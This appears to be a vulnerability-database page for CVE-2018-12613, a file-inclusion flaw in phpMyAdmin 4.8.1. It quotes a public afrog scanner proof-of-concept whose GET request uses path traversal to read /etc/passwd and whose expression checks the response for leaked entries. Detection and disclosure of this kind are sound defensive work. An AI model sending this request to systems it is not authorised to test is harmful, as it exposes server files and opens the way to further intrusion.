CVE-2018-12613: PhpMyAdmin 4.8.1 Remote File Inclusion

2025-08-01 PhpMyAdmin PoC Public

Description

An issue was discovered in phpMyAdmin 4.8.x before 4.8.2, in which an attacker can include (view and potentially execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the "$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login requirement and runs the vulnerable code without any authentication).

PoC

id: CVE-2018-12613

info:
  name: PhpMyAdmin 4.8.1 Remote File Inclusion
  author: p0wd3r
  severity: critical
  description: |-
    An issue was discovered in phpMyAdmin 4.8.x before 4.8.2, in which an attacker can include (view and potentially execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the "$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login requirement and runs the vulnerable code without any authentication).
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12613
  tags: cve,cve2018,phpmyadmin,rfi
  created: 2023/08/10

rules:
  r0:
    request:
      method: GET
      path: /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2018/CVE-2018-12613.yaml

References

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